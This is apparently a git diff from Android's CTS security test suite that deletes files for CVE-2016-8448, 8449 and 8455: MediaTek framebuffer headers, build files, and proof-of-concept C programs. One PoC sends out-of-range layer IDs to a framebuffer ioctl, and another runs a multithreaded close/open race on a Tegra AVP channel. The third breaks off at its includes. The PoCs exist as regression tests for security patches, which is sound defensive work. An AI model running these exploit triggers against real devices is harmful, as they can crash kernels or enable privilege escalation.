--- a/hostsidetests/security/securityPatch/CVE-2016-8448/mtkfb.h
+++ /dev/null
@@ -1,397 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#ifndef __MTKFB_H
-#define __MTKFB_H
-
-#include <linux/types.h>
-#include "mtkfb_info.h"
-
-
-/**NOTICE:
- * Must be consistent with bionic/libc/kernel/linux/common/mtkfb.h
- */
-#define MTK_FB_NO_ION_FD                 ((int)(~0U>>1))
-#define MTK_FB_NO_USE_LAEYR_ID			 ((int)(~0U>>1))
-#define FBCAPS_GENERIC_MASK              (0x00000fff)
-#define FBCAPS_LCDC_MASK                 (0x00fff000)
-#define FBCAPS_PANEL_MASK                (0xff000000)
-#define FBCAPS_MANUAL_UPDATE             (0x00001000)
-#define FBCAPS_SET_BACKLIGHT             (0x01000000)
-#define MTKFB_ERROR_IS_EARLY_SUSPEND     (0x12000000)
-/* --------------------------------------------------------------------------- */
-/* IOCTL commands. */
-#define MTK_IOW(num, dtype)     _IOW('O', num, dtype)
-#define MTK_IOR(num, dtype)     _IOR('O', num, dtype)
-#define MTK_IOWR(num, dtype)    _IOWR('O', num, dtype)
-#define MTK_IO(num)             _IO('O', num)
-#define MTKFB_QUEUE_OVERLAY_CONFIG			MTK_IOW(137, struct fb_overlay_config)
-/* -------------------------------------------------------------------------- */
-#define MTKFB_SET_OVERLAY_LAYER                MTK_IOW(0, struct fb_overlay_layer)
-#define MTKFB_TRIG_OVERLAY_OUT                 MTK_IO(1)
-#define MTKFB_SET_VIDEO_LAYERS                 MTK_IOW(2, struct fb_overlay_layer)
-#define MTKFB_CAPTURE_FRAMEBUFFER              MTK_IOW(3, unsigned long)
-#define MTKFB_CONFIG_IMMEDIATE_UPDATE          MTK_IOW(4, unsigned long)
-#define MTKFB_SET_MULTIPLE_LAYERS              MTK_IOW(5, struct fb_overlay_layer)
-#define MTKFB_REGISTER_OVERLAYBUFFER           MTK_IOW(6, struct fb_overlay_buffer_info)
-#define MTKFB_UNREGISTER_OVERLAYBUFFER         MTK_IOW(7, unsigned int)
-#define MTKFB_SET_ORIENTATION                  MTK_IOW(8, unsigned long)
-#define MTKFB_FBLAYER_ENABLE                   MTK_IOW(9, unsigned int)
-#define MTKFB_LOCK_FRONT_BUFFER                MTK_IO(10)
-#define MTKFB_UNLOCK_FRONT_BUFFER              MTK_IO(11)
-#define MTKFB_POWERON				           MTK_IO(12)
-#define MTKFB_POWEROFF				           MTK_IO(13)
-
-/* Fence/Ion, OVL decoupling */
-#define MTKFB_PREPARE_OVERLAY_BUFFER           MTK_IOW(14, struct fb_overlay_buffer)
-
-/* S3D control */
-#define MTKFB_SET_COMPOSING3D                  MTK_IOW(15, unsigned long)
-#define MTKFB_SET_S3D_FTM		               MTK_IOW(16, unsigned long)
-
-/* FM De-sense for EM and Normal mode */
-#define MTKFB_GET_DEFAULT_UPDATESPEED          MTK_IOR(17, unsigned long)
-#define MTKFB_GET_CURR_UPDATESPEED             MTK_IOR(18, unsigned long)
-/* for EM, not called change writecycle because DPI change pll ckl */
-#define MTKFB_CHANGE_UPDATESPEED               MTK_IOW(19, unsigned long)
-#define MTKFB_GET_INTERFACE_TYPE               MTK_IOR(20, unsigned long)	/* /0 DBI, 1 DPI, 2 MIPI */
-#define MTKFB_GET_POWERSTATE		           MTK_IOR(21, unsigned long)	/* /0: power off  1: power on */
-#define MTKFB_GET_DISPLAY_IF_INFORMATION       MTK_IOR(22, mtk_dispif_info_t)
-/*called before SET_OVERLAY each time, if true, hwc will not use FB_LAYER again*/
-#define MTKFB_AEE_LAYER_EXIST                  MTK_IOR(23, unsigned long)
-#define MTKFB_GET_OVERLAY_LAYER_INFO           MTK_IOR(24, struct fb_overlay_layer_info)
-#define MTKFB_FACTORY_AUTO_TEST                MTK_IOR(25, unsigned long)
-#define MTKFB_GET_FRAMEBUFFER_MVA              MTK_IOR(26, unsigned int)
-#define MTKFB_SLT_AUTO_CAPTURE                 MTK_IOWR(27, struct fb_slt_catpure)
-
-/*error handling*/
-#define MTKFB_META_RESTORE_SCREEN              MTK_IOW(101, unsigned long)
-#define MTKFB_ERROR_INDEX_UPDATE_TIMEOUT       MTK_IO(103)
-#define MTKFB_ERROR_INDEX_UPDATE_TIMEOUT_AEE   MTK_IO(104)
-
-/*restore bootlogo and character in meta mode*/
-#define MTKFB_META_SHOW_BOOTLOGO               MTK_IO(105)
-
-/*Extension FB active option*/
-#define FB_ACTIVATE_NO_UPDATE  512       /* Skip frame update */
-/**
- * Just for mt6589 Platform
- * @{
- */
-#define MTKFB_GETVFRAMEPHYSICAL                MTK_IOW(41, unsigned long)
-#define MTKFB_WAIT_OVERLAY_READY               MTK_IO(42)
-#define MTKFB_GET_OVERLAY_LAYER_COUNT          MTK_IOR(43, unsigned long)
-#define MTKFB_GET_VIDEOLAYER_SIZE              MTK_IOR(44, struct fb_overlay_layer)
-#define MTKFB_CAPTURE_VIDEOBUFFER              MTK_IOW(45, unsigned long)
-
-/* -------------------------------------------------------------------------- */
-/* Video Playback Mode */
-#define MTKFB_TV_POST_VIDEO_BUFFER             MTK_IOW(46, unsigned long)
-#define MTKFB_TV_LEAVE_VIDEO_PLAYBACK_MODE     MTK_IOW(47, unsigned long)
-/* For Factory Mode */
-#define MTKFB_IS_TV_CABLE_PLUG_IN              MTK_IOW(48, unsigned long)
-
-/* -------------------------------------------------------------------------- */
-#define MTKFB_BOOTANIMATION			           MTK_IO(49)
-#define MTKFB_GETFPS			               MTK_IOW(50, unsigned long)
-#define MTKFB_VSYNC                            MTK_IO(51)
-
-/* ----------------------------------------------------------------------FM De-sense for EM and Normal mode */
-#define MTKFB_FM_NOTIFY_FREQ                   MTK_IOW(52, unsigned long)	/* for Normal mode */
-#define MTKFB_RESET_UPDATESPEED                MTK_IO(53)
-#define MTKFB_SET_UI_LAYER_ALPHA               MTK_IOW(54, unsigned long)
-#define MTKFB_SET_UI_LAYER_SRCKEY              MTK_IOW(55, unsigned long)
-
-#define MTKFB_GET_MAX_DISPLAY_COUNT		       MTK_IOR(56, unsigned int)
-#define MTKFB_SET_FB_LAYER_SECURE              MTK_IOW(57, int)
-/**
- * @}
- */
-/* ---------------------------------------------------------------------- */
-
-/* -------------------------------------------------------------------------- */
-
-typedef enum {
-	MTK_FB_ORIENTATION_0 = 0,
-	MTK_FB_ORIENTATION_90 = 1,
-	MTK_FB_ORIENTATION_180 = 2,
-	MTK_FB_ORIENTATION_270 = 3,
-} MTK_FB_ORIENTATION;
-
-
-typedef enum {
-	MTK_FB_TV_SYSTEM_NTSC = 0,
-	MTK_FB_TV_SYSTEM_PAL = 1,
-} MTK_FB_TV_SYSTEM;
-
-
-typedef enum {
-	MTK_FB_TV_FMT_RGB565 = 0,
-	MTK_FB_TV_FMT_YUV420_SEQ = 1,
-	MTK_FB_TV_FMT_UYUV422 = 2,
-	MTK_FB_TV_FMT_YUV420_BLK = 3,
-} MTK_FB_TV_SRC_FORMAT;
-
-typedef enum {
-	LAYER_NORMAL_BUFFER = 0,
-	LAYER_SECURE_BUFFER = 1,
-	LAYER_PROTECTED_BUFFER = 2,
-	LAYER_SECURE_BUFFER_WITH_ALIGN = 0x10001,	/* the higher 16 bits =1 for adding 64 bytes alignment */
-} MTK_FB_OVL_LAYER_SECURE_MODE;
-
-typedef struct _disp_dfo_item {
-	char name[32];
-	int value;
-} disp_dfo_item_t;
-
-/* -------------------------------------------------------------------------- */
-struct fb_slt_catpure {
-	MTK_FB_FORMAT format;
-
-	volatile char *outputBuffer;
-	unsigned int wdma_width;
-	unsigned int wdma_height;
-};
-
-struct fb_scale {
-	unsigned int xscale, yscale;
-};
-
-struct fb_frame_offset {
-	unsigned int idx;
-	unsigned long offset;
-};
-
-struct fb_update_window {
-	unsigned int x, y;
-	unsigned int width, height;
-};
-
-typedef enum {
-	LAYER_2D = 0,
-	LAYER_3D_SBS_0 = 0x1,
-	LAYER_3D_SBS_90 = 0x2,
-	LAYER_3D_SBS_180 = 0x3,
-	LAYER_3D_SBS_270 = 0x4,
-	LAYER_3D_TAB_0 = 0x10,
-	LAYER_3D_TAB_90 = 0x20,
-	LAYER_3D_TAB_180 = 0x30,
-	LAYER_3D_TAB_270 = 0x40,
-} MTK_FB_LAYER_TYPE;
-
-typedef enum {
-	DISP_DIRECT_LINK_MODE,
-	DISP_DECOUPLE_MODE
-} MTK_DISP_MODE;
-struct fb_overlay_mode {
-	MTK_DISP_MODE mode;
-};
-
-typedef enum {			/* map sessions to scenairos in kernel driver */
-	DISP_SESSION_LCM = 1 << 0,	/* DSI0 */
-	DISP_SESSION_MEM = 1 << 1,	/* OVL0->WDMA0 */
-/* Extension mode, Dst buf is provided by user,for Wifi Display or other purpose */
-	DISP_SESSION_WFD = 1 << 2,
-	DISP_SESSION_MHL = 1 << 3,	/* DPI */
-	DISP_SESSION_LCM1 = 1 << 4,	/* DSI1 */
-	DISP_SESSION_MEM1 = 1 << 5,	/* OVL1->WDMA1 */
-	/* TODO:can be extended with other Session Id */
-	SESSION_MASK = 0xff & ~(1 << 6)
-} MTK_DISP_SESSION;
-
-struct fb_overlay_session {
-	unsigned int session;	/* one or more @MTK_DISP_SESSION combined */
-};
-
-struct fb_overlay_decouple {
-	MTK_DISP_MODE mode;
-	unsigned int session;
-};
-struct fb_overlay_buffer {
-	/* Input */
-	int layer_id;
-	unsigned int layer_en;
-	int ion_fd;
-	unsigned int cache_sync;
-	/* Output */
-	unsigned int index;
-	int fence_fd;
-};
-
-struct fb_overlay_layer {
-	unsigned int layer_id;
-	unsigned int layer_enable;
-
-	void *src_base_addr;
-	void *src_phy_addr;
-	unsigned int src_direct_link;
-	MTK_FB_FORMAT src_fmt;
-	unsigned int src_use_color_key;
-	unsigned int src_color_key;
-	unsigned int src_pitch;
-	unsigned int src_offset_x, src_offset_y;
-	unsigned int src_width, src_height;
-
-	unsigned int tgt_offset_x, tgt_offset_y;
-	unsigned int tgt_width, tgt_height;
-	MTK_FB_ORIENTATION layer_rotation;
-	MTK_FB_LAYER_TYPE layer_type;
-	MTK_FB_ORIENTATION video_rotation;
-
-	unsigned int isTdshp;	/* set to 1, will go through tdshp first, then layer blending, then to color */
-
-	int next_buff_idx;
-	int identity;
-	int connected_type;
-	unsigned int security;
-	unsigned int alpha_enable;
-	unsigned int alpha;
-	int fence_fd;		/* 8135 */
-	int ion_fd;		/* 8135 CL 2340210 */
-};
-
-struct fb_overlay_config {
-	int fence;
-	int time;
-	struct fb_overlay_layer layers[4];
-};
-
-struct fb_overlay_buffer_info {
-	unsigned int src_vir_addr;
-	unsigned int size;
-};
-
-struct fb_overlay_layer_info {
-	unsigned int layer_id;
-	unsigned int layer_enabled;	/* TO BE DEL */
-	unsigned int curr_en;
-	unsigned int next_en;
-	unsigned int hw_en;
-	int curr_idx;
-	int next_idx;
-	int hw_idx;
-	int curr_identity;
-	int next_identity;
-	int hw_identity;
-	int curr_conn_type;
-	int next_conn_type;
-	int hw_conn_type;
-	MTK_FB_ORIENTATION layer_rotation;
-};
-/* -------------------------------------------------------------------------- */
-
-struct fb_post_video_buffer {
-	void *phy_addr;
-	void *vir_addr;
-	MTK_FB_TV_SRC_FORMAT format;
-	unsigned int width, height;
-};
-
-#if defined(CONFIG_ARCH_MT6735) || defined(CONFIG_ARCH_MT6735M) || defined(CONFIG_ARCH_MT6753)
-extern unsigned int EnableVSyncLog;
-
-void mtkfb_log_enable(int enable);
-int mtkfb_set_backlight_mode(unsigned int mode);
-int mtkfb_set_backlight_level(unsigned int level);
-int mtkfb_get_debug_state(char *stringbuf, int buf_len);
-unsigned int mtkfb_fm_auto_test(void);
-void mtkfb_clear_lcm(void);
-#endif /* CONFIG_ARCH_MT6735 */
-
-#ifdef __KERNEL__
-
-#include <linux/completion.h>
-#include <linux/interrupt.h>
-#include <linux/workqueue.h>
-#include <linux/version.h>
-#include <../drivers/staging/android/sw_sync.h>
-
-
-#define MTKFB_DRIVER "mtkfb"
-
-enum mtkfb_state {
-	MTKFB_DISABLED = 0,
-	MTKFB_SUSPENDED = 99,
-	MTKFB_ACTIVE = 100
-};
-
-typedef enum {
-	MTKFB_LAYER_ENABLE_DIRTY = (1 << 0),
-	MTKFB_LAYER_FORMAT_DIRTY = (1 << 1),
-	MTKFB_LAYER_SET_DIRTY = (1 << 2),
-} MTKFB_LAYER_CONFIG_DIRTY;
-
-typedef struct {
-	struct work_struct work;
-	struct list_head list;
-	struct fb_overlay_config config;
-	struct sync_fence *fences[4];
-	struct ion_handle *ion_handles[4];
-	void *dev;
-} update_ovls_work_t;
-
-struct mtkfb_device {
-	int state;
-	void *fb_va_base;	/* MPU virtual address */
-	dma_addr_t fb_pa_base;	/* Bus physical address */
-	unsigned long fb_size_in_byte;
-	void *ovl_va_base;	/* MPU virtual address */
-	dma_addr_t ovl_pa_base;	/* Bus physical address */
-	unsigned long ovl_size_in_byte;
-
-	unsigned long layer_enable;
-	MTK_FB_FORMAT *layer_format;
-	unsigned int layer_config_dirty;
-
-	int xscale, yscale, mirror;	/* transformations.
-					   rotate is stored in fb_info->var */
-	u32 pseudo_palette[17];
-
-	struct fb_info *fb_info;	/* Linux fbdev framework data */
-	struct device *dev;
-
-	/* Android native fence support */
-	struct workqueue_struct *update_ovls_wq;
-	struct mutex timeline_lock;
-	struct sw_sync_timeline *timeline;
-	int timeline_max;
-	struct list_head pending_configs;	/* CL2340210 */
-	struct ion_client *ion_client;
-};
-
-#endif				/* __KERNEL__ */
-
-extern long hdmi_handle_cmd(unsigned int cmd, unsigned long arg);
-
-#if defined(CONFIG_ARCH_MT6797)
-extern unsigned int vramsize;
-#endif
-
-#if defined(CONFIG_ARCH_MT6735) || defined(CONFIG_ARCH_MT6735M) || defined(CONFIG_ARCH_MT6753)
-extern bool is_early_suspended;
-extern void mtkfb_waitVsync(void);
-extern bool is_ipoh_bootup;
-
-#ifdef CONFIG_OF
-int _parse_tag_videolfb(void);
-extern unsigned int islcmconnected;
-extern unsigned int vramsize;
-#else
-extern char *saved_command_line;
-#endif
-#endif /* CONFIG_ARCH_MT6735 */
-
-
-#endif				/* __MTKFB_H */
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8448/mtkfb_info.h b/hostsidetests/security/securityPatch/CVE-2016-8448/mtkfb_info.h
deleted file mode 100644
index 61e7cfd..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8448/mtkfb_info.h
+++ /dev/null
@@ -1,101 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#ifndef __MTKFB_INFO_H__
-#define __MTKFB_INFO_H__
-
-#ifdef __cplusplus
-extern "C" {
-#endif
-
-
-	typedef enum {
-		DISPIF_TYPE_DBI = 0,
-		DISPIF_TYPE_DPI,
-		DISPIF_TYPE_DSI,
-		DISPIF_TYPE_DPI0,
-		DISPIF_TYPE_DPI1,
-		DISPIF_TYPE_DSI0,
-		DISPIF_TYPE_DSI1,
-		HDMI = 7,
-		HDMI_SMARTBOOK,
-		MHL,
-		DISPIF_TYPE_EPD,
-		SLIMPORT
-	} MTKFB_DISPIF_TYPE;
-
-	typedef enum {
-		MTKFB_DISPIF_PRIMARY_LCD = 0,
-		MTKFB_DISPIF_HDMI,
-		MTKFB_DISPIF_EPD,
-		MTKFB_MAX_DISPLAY_COUNT
-	} MTKFB_DISPIF_DEVICE_TYPE;
-
-	typedef enum {
-		DISPIF_FORMAT_RGB565 = 0,
-		DISPIF_FORMAT_RGB666,
-		DISPIF_FORMAT_RGB888
-	} MTKFB_DISPIF_FORMAT;
-
-
-	typedef enum {
-		DISPIF_MODE_VIDEO = 0,
-		DISPIF_MODE_COMMAND
-	} MTKFB_DISPIF_MODE;
-
-	typedef struct mtk_dispif_info {
-		unsigned int display_id;
-		unsigned int isHwVsyncAvailable;
-		MTKFB_DISPIF_TYPE displayType;
-		unsigned int displayWidth;
-		unsigned int displayHeight;
-		unsigned int displayFormat;
-		MTKFB_DISPIF_MODE displayMode;
-		unsigned int vsyncFPS;
-		unsigned int physicalWidth;
-		unsigned int physicalHeight;
-		unsigned int isConnected;
-/* this value is for DFO Multi-Resolution feature, which stores the original LCM Wdith */
-		unsigned int lcmOriginalWidth;
-/* this value is for DFO Multi-Resolution feature, which stores the original LCM Height */
-		unsigned int lcmOriginalHeight;
-	} mtk_dispif_info_t;
-
-#define MAKE_MTK_FB_FORMAT_ID(id, bpp)  (((id) << 8) | (bpp))
-
-	typedef enum {
-		MTK_FB_FORMAT_UNKNOWN = 0,
-
-		MTK_FB_FORMAT_RGB565 = MAKE_MTK_FB_FORMAT_ID(1, 2),
-		MTK_FB_FORMAT_RGB888 = MAKE_MTK_FB_FORMAT_ID(2, 3),
-		MTK_FB_FORMAT_BGR888 = MAKE_MTK_FB_FORMAT_ID(3, 3),
-		MTK_FB_FORMAT_ARGB8888 = MAKE_MTK_FB_FORMAT_ID(4, 4),
-		MTK_FB_FORMAT_ABGR8888 = MAKE_MTK_FB_FORMAT_ID(5, 4),
-		MTK_FB_FORMAT_YUV422 = MAKE_MTK_FB_FORMAT_ID(6, 2),
-		MTK_FB_FORMAT_XRGB8888 = MAKE_MTK_FB_FORMAT_ID(7, 4),
-		MTK_FB_FORMAT_XBGR8888 = MAKE_MTK_FB_FORMAT_ID(8, 4),
-		MTK_FB_FORMAT_UYVY = MAKE_MTK_FB_FORMAT_ID(9, 2),
-		MTK_FB_FORMAT_YUV420_P = MAKE_MTK_FB_FORMAT_ID(10, 2),
-		MTK_FB_FORMAT_YUY2 = MAKE_MTK_FB_FORMAT_ID(11, 2),
-		MTK_FB_FORMAT_BPP_MASK = 0xFF,
-	} MTK_FB_FORMAT;
-
-#define GET_MTK_FB_FORMAT_BPP(f)    ((f) & MTK_FB_FORMAT_BPP_MASK)
-
-
-#ifdef __cplusplus
-}
-#endif
-#endif				/* __DISP_DRV_H__ */
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8448/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8448/poc.c
deleted file mode 100644
index e5f675b..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8448/poc.c
+++ /dev/null
@@ -1,59 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#include <sys/mman.h>
-#include <fcntl.h>
-//#include <pthread.h>
-#include <sys/prctl.h>
-#include <unistd.h>
-#include <stdbool.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <asm-generic/ioctl.h>
-#include "mtkfb.h"
-int main(int argc, char **argv) {
-    int fd = 0;
-    struct fb_overlay_layer layerInfo;
-    memset(&layerInfo, 0, sizeof(layerInfo));
-    fd = open("/dev/graphics/fb0", O_RDWR);
-    if (fd < 0) {
-		perror("open /dev/graphics/fb0");
-		exit(-1);
-    }
-    printf("Device file opened successfully\n");
-    printf("Trying to get layer info\n");
-    if(ioctl(fd, MTKFB_GET_OVERLAY_LAYER_INFO, &layerInfo) == -1) {
-        perror("ioctl MTKFB_GET_OVERLAY_LAYER_INFO failed");
-        exit(-2);
-    }
-    printf("Got layer info\n");
-    printf("Trying to set layer info\n");
-    // set any huge value here
-    int curr_val = 0xf1111111;
-    while(1) {
-        layerInfo.layer_id = curr_val;
-        if(ioctl(fd, MTKFB_SET_OVERLAY_LAYER, &layerInfo) == -1) {
-            perror("ioctl MTKFB_SET_OVERLAY_LAYER failed");
-            //exit(-2);
-        }
-        curr_val--;
-        if(curr_val == -1) {
-            break;
-        }
-    }
-    printf("Set layer info\n");
-    return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8449/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8449/Android.mk
deleted file mode 100644
index 72129c2..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8449/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8449
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
-LOCAL_CFLAGS += -Wno-unused-variable
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8449/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8449/poc.c
deleted file mode 100755
index 1e76b55..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8449/poc.c
+++ /dev/null
@@ -1,143 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-#include <stdio.h>
-#include <string.h>
-#include <errno.h>
-#include <stdlib.h>
-#include <pthread.h>
-#include <sys/ioctl.h>
-#include <sys/mman.h>
-#include <errno.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <sched.h>
-#include <sys/types.h>
-#include <signal.h>
-#include <unistd.h>
-
-#define LOG(fmt, ...)   printf(fmt "\n", ##__VA_ARGS__)
-#define ERR(fmt, ...)   printf(fmt ": %d(%s)\n", ##__VA_ARGS__, errno, strerror(errno))
-#define ARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0]))
-#define CLOSE_THREAD_NUM	100
-#define TRY_TIMES		900
-
-#define DEV "/dev/tegra_avpchannel"
-
-#define NVAVP_IOCTL_MAGIC		'n'
-
-struct nvavp_channel_open_args {
-	__u32 channel_fd;
-};
-
-#define NVAVP_IOCTL_CHANNEL_OPEN	_IOR(NVAVP_IOCTL_MAGIC, 0x73, \
-					struct nvavp_channel_open_args)
-
-int fd;
-pthread_t close_thread_id[CLOSE_THREAD_NUM] = { 0 };
-
-static int set_affinity(int num)
-{
-	int ret = 0;
-	cpu_set_t mask;
-	CPU_ZERO(&mask);
-	CPU_SET(num, &mask);
-	ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
-	if(ret == -1){
-		ERR("[-] set affinity failed");
-	}
-	return ret;
-}
-
-volatile int target_fd;
-volatile int attack;
-void* close_thread(void* no_use)
-{
-	set_affinity(1);
-
-	while(attack){
-		close(target_fd);	
-	}
-
-	return NULL;
-}
-
-int main()
-{
-	int i, try_time = TRY_TIMES, ret;
-	struct nvavp_channel_open_args o_args = { 0 };
-
-	/* bind_cpu */
-	set_affinity(0);
-
-	/* open dev */
-	fd = open(DEV, O_RDONLY);
-	if(fd == -1){
-		ERR("[-] open failed");
-		return 0;
-	} else {
-		LOG("[+] open OK");
-	}
-
-	#if 1
-	ret = ioctl(fd, NVAVP_IOCTL_CHANNEL_OPEN, &o_args);
-	if(ret == -1) {
-		ERR("[-] ioctl failed");
-		goto out_dev;
-	} else {
-		LOG("[+] ioctl OK, fd = %d", o_args.channel_fd);
-	}
-
-	target_fd = o_args.channel_fd;	
-	#endif
-
-	/* create close thread */
-	#if 1
-	attack = 1;
-	for(i = 0; i < CLOSE_THREAD_NUM; i++){
-		ret = pthread_create(close_thread_id + i, NULL, close_thread, NULL);
-		if(ret){
-			ERR("[-] create close thread %d failed", i);
-			goto out_close_thread;
-		}
-	}
-	#endif
-
-	#if 1
-	for(i = 0; i < TRY_TIMES; i++){
-		LOG("[+] %03d times", i);
-		/* open */
-		ret = ioctl(fd, NVAVP_IOCTL_CHANNEL_OPEN, &o_args);
-		if(ret == -1) {
-			ERR("[-] ioctl failed");
-		} else {
-			LOG("[+] ioctl OK, fd = %d", o_args.channel_fd);
-		}
-		//usleep(200);
-	}
-	#endif
-	
-out_close_thread:
-	attack = 0;
-	/* kill close thread */
-	for(i = 0; i < CLOSE_THREAD_NUM; i++){
-		if(close_thread_id[i])
-			pthread_join(close_thread_id[i], NULL);
-	}
-out_dev:
-	close(fd);
-	return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8455/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8455/Android.mk
deleted file mode 100644
index 5ec4302..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8455/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8455
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-LOCAL_C_INCLUDES := external/libnl/include
-LOCAL_SHARED_LIBRARIES := libnl
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
-LOCAL_CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LOCAL_LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8455/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8455/poc.c
deleted file mode 100644
index 1f58e23..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8455/poc.c
+++ /dev/null
@@ -1,318 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define _GNU_SOURCE
-#include <dlfcn.h>
-#include <errno.h>
-#include <limits.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <jni.h>
-#include <android/log.h>
-#include <sys/socket.h>
-#include <linux/netlink.h>
-#include <linux/genetlink.h>
-#include <string.h>
-#include <unistd.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <dirent.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <sys/ioctl.h>
-#include <net/if.h>
-#include <sys/types.h>
-#include <netlink/msg.h>
-#include <netlink/genl/genl.h>
-#include <netlink/genl/ctrl.h>
-#include <linux/nl80211.h>
-
-#define MAX_MSG_SIZE 2048
-#define GENLMSG_DATA(glh) ((void *)(NLMSG_DATA(glh) + GENL_HDRLEN))
